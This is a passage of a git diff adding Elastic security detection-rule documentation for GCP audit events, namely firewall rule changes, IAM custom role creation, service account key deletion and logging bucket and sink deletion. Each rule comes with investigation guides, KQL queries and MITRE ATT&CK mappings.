+** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-firewall-rule-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-firewall-rule-creation.asciidoc new file mode 100644 index 0000000000..4a79668468 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-firewall-rule-creation.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-20-gcp-firewall-rule-creation]] +=== GCP Firewall Rule Creation + +Identifies when a firewall rule is created in Google Cloud Platform (GCP) for Virtual Private Cloud (VPC) or App Engine. These firewall rules can be configured to allow or deny connections to or from virtual machine (VM) instances or specific applications. An adversary may create a new firewall rule in order to weaken their target's security controls and allow more permissive ingress or egress traffic flows for their benefit. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/vpc/docs/firewalls +* https://cloud.google.com/appengine/docs/standard/python/understanding-firewalls + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Firewall Rule Creation* + + +In GCP, firewall rules manage network traffic to and from VPCs and App Engine applications, crucial for maintaining security. Adversaries may exploit this by creating rules that permit unauthorized access, bypassing security measures. The detection rule monitors audit logs for specific actions indicating new rule creation, flagging potential defense evasion attempts to ensure timely investigation and response. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:gcp.audit entries to identify the source of the firewall rule creation, focusing on the event.action fields: *.compute.firewalls.insert or google.appengine.*.Firewall.Create*Rule. +- Identify the user or service account responsible for the action by examining the actor information in the audit logs, such as the principalEmail field. +- Determine the network or application affected by the new firewall rule by analyzing the target resources, such as the VPC or App Engine application, to understand the potential impact. +- Assess the rule's configuration details, including the allowed or denied IP ranges, protocols, and ports, to evaluate if it introduces any security risks or deviates from established security policies. +- Check for any recent changes in permissions or roles assigned to the user or service account involved, which might indicate privilege escalation or misuse. +- Correlate the firewall rule creation event with other security events or alerts in the same timeframe to identify any suspicious patterns or activities that might suggest a coordinated attack. +- Consult with relevant stakeholders or teams to verify if the firewall rule creation was authorized and aligns with current operational requirements or projects. + + +*False positive analysis* + + +- Routine administrative actions by authorized personnel can trigger alerts when they create or update firewall rules for legitimate purposes. To manage this, establish a list of known IP addresses or user accounts that frequently perform these actions and create exceptions for them in the detection rule. +- Automated processes or scripts that regularly update firewall configurations as part of normal operations may also cause false positives. Identify these processes and adjust the rule to exclude their specific actions or service accounts. +- Changes made during scheduled maintenance windows might be flagged as suspicious. Implement time-based exceptions to ignore rule creation events during these predefined periods. +- Integration with third-party security tools or services that modify firewall rules for enhanced protection can be mistaken for unauthorized activity. Verify these integrations and whitelist their actions to prevent unnecessary alerts. +- Development and testing environments often require frequent firewall rule changes, which can lead to false positives. Differentiate these environments from production by tagging them appropriately and excluding their events from the detection rule. + + +*Response and remediation* + + +- Immediately review the newly created firewall rule to determine its source and intent. Verify if the rule aligns with organizational security policies and intended network configurations. +- Temporarily disable or delete the suspicious firewall rule to prevent unauthorized access while further investigation is conducted. +- Conduct a thorough audit of recent firewall rule changes in the affected GCP project to identify any other unauthorized modifications. +- Isolate affected systems or applications that may have been exposed due to the unauthorized firewall rule to prevent further exploitation. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further action. +- Implement additional monitoring on the affected VPC or App Engine environment to detect any further unauthorized changes or suspicious activities. +- Review and update access controls and permissions for creating and modifying firewall rules to ensure only authorized personnel have the necessary privileges. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:gcp.audit and event.action:(*.compute.firewalls.insert or google.appengine.*.Firewall.Create*Rule) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-firewall-rule-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-firewall-rule-deletion.asciidoc new file mode 100644 index 0000000000..46ab599599 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-firewall-rule-deletion.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-20-gcp-firewall-rule-deletion]] +=== GCP Firewall Rule Deletion + +Identifies when a firewall rule is deleted in Google Cloud Platform (GCP) for Virtual Private Cloud (VPC) or App Engine. These firewall rules can be configured to allow or deny connections to or from virtual machine (VM) instances or specific applications. An adversary may delete a firewall rule in order to weaken their target's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/vpc/docs/firewalls +* https://cloud.google.com/appengine/docs/standard/python/understanding-firewalls + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Firewall Rule Deletion* + + +In GCP, firewall rules are crucial for controlling network traffic to and from VM instances and applications, ensuring robust security. Adversaries may delete these rules to bypass security measures, facilitating unauthorized access or data exfiltration. The detection rule monitors audit logs for deletion actions, flagging potential defense evasion attempts by identifying specific deletion events in VPC or App Engine environments. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:gcp.audit to confirm the deletion action and gather details such as the timestamp, user identity, and source IP address associated with the event. +- Investigate the event.action field to determine whether the deletion occurred in the VPC or App Engine environment, and identify the specific firewall rule that was deleted. +- Check the user or service account activity around the time of the deletion to identify any suspicious behavior or unauthorized access attempts. +- Assess the impact of the deleted firewall rule by reviewing the network traffic patterns and security posture before and after the deletion. +- Collaborate with the network security team to determine if the deletion was part of a legitimate change management process or if it indicates a potential security incident. + + +*False positive analysis* + + +- Routine maintenance or updates by authorized personnel may trigger firewall rule deletions. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scripts or tools used for infrastructure management might delete and recreate firewall rules as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using service accounts or tags associated with these tools. +- Changes in application deployment processes, especially in environments like App Engine, can lead to legitimate firewall rule deletions. Review deployment logs and processes to identify patterns and exclude these from alerts. +- Organizational policy changes that involve restructuring network security may result in bulk deletions of firewall rules. Coordinate with network security teams to understand planned changes and temporarily adjust detection rules during these periods. +- Test environments often have dynamic configurations where firewall rules are frequently added and removed. Exclude specific projects or environments designated for testing from the detection rule to reduce noise. + + +*Response and remediation* + + +- Immediately isolate affected VM instances or applications by applying restrictive firewall rules to prevent further unauthorized access or data exfiltration. +- Review audit logs to identify the source of the deletion action, including user accounts and IP addresses involved, and verify if the action was authorized. +- Recreate the deleted firewall rules based on the last known good configuration to restore security controls and prevent unauthorized access. +- Conduct a security review of the affected environment to identify any additional unauthorized changes or indicators of compromise. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data were impacted. +- Implement enhanced monitoring and alerting for firewall rule changes to detect and respond to similar threats more quickly in the future. +- Review and update access controls and permissions for users and service accounts to ensure that only authorized personnel can modify firewall rules. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:gcp.audit and event.action:(*.compute.firewalls.delete or google.appengine.*.Firewall.Delete*Rule) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-firewall-rule-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-firewall-rule-modification.asciidoc new file mode 100644 index 0000000000..fd009e4f93 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-firewall-rule-modification.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-20-gcp-firewall-rule-modification]] +=== GCP Firewall Rule Modification + +Identifies when a firewall rule is modified in Google Cloud Platform (GCP) for Virtual Private Cloud (VPC) or App Engine. These firewall rules can be modified to allow or deny connections to or from virtual machine (VM) instances or specific applications. An adversary may modify an existing firewall rule in order to weaken their target's security controls and allow more permissive ingress or egress traffic flows for their benefit. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/vpc/docs/firewalls +* https://cloud.google.com/appengine/docs/standard/python/understanding-firewalls + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Firewall Rule Modification* + + +In GCP, firewall rules regulate network traffic to and from VPCs and App Engine applications, crucial for maintaining security. Adversaries may alter these rules to weaken defenses, enabling unauthorized access or data exfiltration. The detection rule monitors audit logs for modifications to firewall rules, identifying potential defense evasion attempts by flagging suspicious changes in network configurations. + + +*Possible investigation steps* + + +- Review the audit logs for entries with the event.dataset field set to gcp.audit to confirm the source of the alert. +- Examine the event.action field for values such as *.compute.firewalls.patch or google.appengine.*.Firewall.Update*Rule to identify the specific type of firewall rule modification. +- Identify the user or service account responsible for the modification by checking the actor information in the audit logs. +- Assess the changes made to the firewall rule, including the before and after states, to determine if the modification allows more permissive ingress or egress traffic. +- Investigate the context of the modification by reviewing related activities in the audit logs around the same time to identify any suspicious patterns or sequences of actions. +- Check for any recent security incidents or alerts involving the affected VPC or App Engine application to understand potential motives or impacts of the rule change. +- If unauthorized or suspicious activity is confirmed, initiate incident response procedures to mitigate any potential security risks. + + +*False positive analysis* + + +- Routine updates or maintenance activities by authorized personnel can trigger alerts. To manage this, create exceptions for known IP addresses or user accounts that regularly perform these tasks. +- Automated scripts or tools used for infrastructure management might modify firewall rules as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using specific service accounts or tags. +- Changes made during scheduled maintenance windows can be considered non-threatening. Implement time-based exceptions to ignore modifications during these periods. +- Modifications related to scaling operations in App Engine or VPCs might be legitimate. Review and whitelist specific actions associated with scaling events to prevent unnecessary alerts. +- Regular audits or compliance checks might involve temporary rule changes. Document these activities and exclude them from detection by correlating with audit logs or change management records. + + +*Response and remediation* + + +- Immediately isolate the affected VPC or App Engine application by applying a restrictive firewall rule to prevent further unauthorized access or data exfiltration. +- Review the audit logs to identify the source of the modification, including user accounts and IP addresses involved, and revoke any suspicious credentials or access. +- Restore the firewall rule to its previous secure state using backup configurations or documented baselines to ensure the network is protected. +- Conduct a thorough security assessment of the affected environment to identify any additional unauthorized changes or indicators of compromise. +- Notify the security operations team and relevant stakeholders about the incident, providing details of the modification and actions taken. +- Implement enhanced monitoring and alerting for future firewall rule changes to detect and respond to similar threats more quickly. +- Consider engaging with Google Cloud support or a third-party security expert if the incident scope is beyond internal capabilities or if further expertise is required. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:gcp.audit and event.action:(*.compute.firewalls.patch or google.appengine.*.Firewall.Update*Rule) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-iam-custom-role-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-iam-custom-role-creation.asciidoc new file mode 100644 index 0000000000..4e49cbcca5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-iam-custom-role-creation.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-20-gcp-iam-custom-role-creation]] +=== GCP IAM Custom Role Creation + +Identifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). Custom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. Custom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/understanding-custom-roles + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP IAM Custom Role Creation* + + +Google Cloud Platform's IAM custom roles allow users to define specific permissions tailored to their needs, offering flexibility in access management. However, adversaries can exploit this by creating roles with excessive permissions, leading to privilege escalation. The detection rule monitors audit logs for successful custom role creation events, helping identify potential unauthorized access attempts by flagging unusual role configurations. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action:google.iam.admin.v*.CreateRole to identify the user or service account responsible for creating the custom role. +- Examine the permissions assigned to the newly created custom role to determine if they are excessive or deviate from standard role configurations. +- Check the event.outcome:success field to confirm the successful creation of the role and cross-reference with any recent changes in IAM policies or permissions. +- Investigate the context around the role creation, such as the time of creation and any associated IP addresses or locations, to identify any unusual patterns or anomalies. +- Assess the necessity and justification for the custom role by consulting with the relevant team or individual who requested its creation, ensuring it aligns with organizational policies and needs. + + +*False positive analysis* + + +- Routine administrative actions by authorized personnel can trigger alerts. Regularly review and document legitimate role creation activities to establish a baseline of expected behavior. +- Automated processes or scripts that create roles as part of deployment pipelines may cause false positives. Identify and whitelist these processes to prevent unnecessary alerts. +- Temporary roles created for short-term projects or testing purposes might be flagged. Implement a naming convention for such roles and exclude them from alerts based on this pattern. +- Changes in organizational structure or policy updates can lead to legitimate role creations. Ensure that these changes are communicated to the security team to adjust monitoring rules accordingly. +- Third-party integrations that require custom roles might be misidentified as threats. Maintain an inventory of these integrations and their role requirements to differentiate between legitimate and suspicious activities. + + +*Response and remediation* + + +- Immediately review the audit logs to confirm the creation of the custom role and identify the user or service account responsible for the action. +- Revoke the custom role if it is determined to have excessive permissions or if it was created without proper authorization. +- Conduct a thorough review of the permissions assigned to the custom role to ensure they align with the principle of least privilege. +- Notify the security team and relevant stakeholders about the unauthorized role creation for further investigation and potential escalation. +- Implement additional monitoring on the identified user or service account to detect any further suspicious activities. +- Review and update IAM policies to prevent unauthorized role creation, ensuring that only trusted users have the necessary permissions to create custom roles. +- Enhance detection capabilities by setting up alerts for any future custom role creation events, especially those with high-risk permissions. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:gcp.audit and event.action:google.iam.admin.v*.CreateRole and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-iam-service-account-key-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-iam-service-account-key-deletion.asciidoc new file mode 100644 index 0000000000..1932f1b4bd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-iam-service-account-key-deletion.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-20-gcp-iam-service-account-key-deletion]] +=== GCP IAM Service Account Key Deletion + +Identifies the deletion of an Identity and Access Management (IAM) service account key in Google Cloud Platform (GCP). Each service account is associated with two sets of public/private RSA key pairs that are used to authenticate. If a key is deleted, the application will no longer be able to access Google Cloud resources using that key. A security best practice is to rotate your service account keys regularly. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/service-accounts +* https://cloud.google.com/iam/docs/creating-managing-service-account-keys + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP IAM Service Account Key Deletion* + + +In GCP, IAM service account keys authenticate applications to access resources. Regular key rotation is crucial for security. Adversaries might delete keys to disrupt services or cover tracks after unauthorized access. The detection rule monitors audit logs for successful key deletions, flagging potential misuse or policy violations, aiding in timely investigation and response. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: google.iam.admin.v*.DeleteServiceAccountKey to identify the service account key that was deleted. +- Check the event.outcome: success to confirm the key deletion was successful and not an attempted action. +- Identify the user or service account responsible for the deletion by examining the actor information in the audit logs. +- Investigate the context around the deletion event, including the timestamp and any preceding or subsequent actions in the logs, to understand the sequence of events. +- Verify if the key deletion aligns with the organization's key rotation policy or if it appears suspicious or unauthorized. +- Assess the impact of the key deletion on applications or services that rely on the affected service account for authentication. +- If unauthorized activity is suspected, initiate a broader investigation into potential unauthorized access or other malicious activities involving the affected service account. + + +*False positive analysis* + + +- Routine key rotation activities by administrators can trigger alerts. To manage this, establish a baseline of expected key rotation schedules and exclude these from alerts. +- Automated scripts or tools that perform regular maintenance and key management might cause false positives. Identify these scripts and whitelist their actions in the monitoring system. +- Service account keys associated with non-critical or test environments may be deleted frequently as part of normal operations. Consider excluding these environments from the alerting criteria to reduce noise. +- Temporary service accounts used for short-term projects or testing may have keys deleted as part of their lifecycle. Document these accounts and adjust the detection rule to ignore deletions from these specific accounts. + + +*Response and remediation* + + +- Immediately revoke any remaining access for the compromised service account to prevent further unauthorized access to Google Cloud resources. +- Investigate the audit logs to identify any unauthorized actions performed using the deleted key and assess the impact on affected resources. +- Recreate the deleted service account key if necessary, ensuring that the new key is securely stored and access is restricted to authorized personnel only. +- Implement additional monitoring on the affected service account to detect any further suspicious activities or unauthorized access attempts. +- Escalate the incident to the security operations team for a comprehensive review and to determine if further investigation or response is required. +- Review and update the key rotation policy to ensure that service account keys are rotated more frequently and securely managed to prevent similar incidents in the future. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:gcp.audit and event.action:google.iam.admin.v*.DeleteServiceAccountKey and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-logging-bucket-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-logging-bucket-deletion.asciidoc new file mode 100644 index 0000000000..e82e3f78ba --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-logging-bucket-deletion.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-20-gcp-logging-bucket-deletion]] +=== GCP Logging Bucket Deletion + +Identifies a Logging bucket deletion in Google Cloud Platform (GCP). Log buckets are containers that store and organize log data. A deleted bucket stays in a pending state for 7 days, and Logging continues to route logs to the bucket during that time. To stop routing logs to a deleted bucket, you can delete the log sinks that have the bucket as their destination, or modify the filter for the sinks to stop it from routing logs to the deleted bucket. An adversary may delete a log bucket to evade detection. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/logging/docs/buckets +* https://cloud.google.com/logging/docs/storage + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Logging Bucket Deletion* + + +In GCP, log buckets are essential for storing and organizing log data, crucial for monitoring and auditing activities. Adversaries may delete these buckets to obscure their tracks and evade detection. The detection rule identifies successful deletion events by monitoring specific audit logs, focusing on actions that indicate bucket removal. This helps security analysts quickly spot and respond to potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: google.logging.v*.ConfigServiceV*.DeleteBucket to confirm the deletion event and gather details such as the timestamp, user identity, and source IP address. +- Investigate the user account associated with the event to determine if the action was authorized or if there are any signs of compromise, such as unusual login locations or times. +- Check for any recent changes to log sinks that might indicate an attempt to stop log routing to the deleted bucket, which could suggest intentional evasion. +- Assess the impact of the bucket deletion by identifying which logs were being routed to the bucket and determining if any critical log data might be lost or compromised. +- Look for any correlated events or alerts around the same timeframe that might indicate a broader attack or unauthorized activity within the GCP environment. + + +*False positive analysis* + + +- Routine maintenance activities by administrators may trigger bucket deletion events. To manage this, create exceptions for known maintenance periods or specific user accounts responsible for these tasks. +- Automated scripts or tools used for log management might delete buckets as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by filtering based on their service accounts or specific identifiers. +- Testing environments often involve the creation and deletion of resources, including log buckets. Exclude events from these environments by using labels or project identifiers to differentiate them from production environments. +- Scheduled cleanup jobs that remove old or unused buckets can generate false positives. Document these jobs and adjust the detection rule to ignore deletions occurring within their scheduled time frames. +- Misconfigured log sinks that inadvertently delete buckets should be reviewed. Regularly audit and adjust sink configurations to ensure they align with intended log routing and retention policies. + + +*Response and remediation* + + +- Immediately halt any ongoing log routing to the deleted bucket by deleting or modifying the log sinks associated with it to prevent further data loss. +- Restore the deleted log bucket from its pending deletion state within the 7-day window to recover any logs that may still be routed to it. +- Conduct a thorough review of IAM permissions and roles to ensure that only authorized personnel have the ability to delete log buckets, reducing the risk of unauthorized deletions. +- Implement additional logging and monitoring for any changes to log sinks and bucket configurations to detect and respond to similar activities promptly. +- Escalate the incident to the security operations team for further investigation and to determine if the deletion was part of a broader attack strategy. +- Review and update incident response plans to include specific procedures for handling log bucket deletions and similar defense evasion tactics. +- Consider enabling alerts for any future attempts to delete log buckets, ensuring rapid detection and response to potential threats. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:gcp.audit and event.action:google.logging.v*.ConfigServiceV*.DeleteBucket and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-logging-sink-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-logging-sink-deletion.asciidoc new file mode 100644 index 0000000000..75bd076fbf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-logging-sink-deletion.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-20-gcp-logging-sink-deletion]] +=== GCP Logging Sink Deletion + +Identifies a Logging sink deletion in Google Cloud Platform (GCP). Every time a log entry arrives, Logging compares the log entry to the sinks in that resource. Each sink whose filter matches the log entry writes a copy of the log entry to the sink's export destination. An adversary may delete a Logging sink to evade detection. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/logging/docs/export + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your 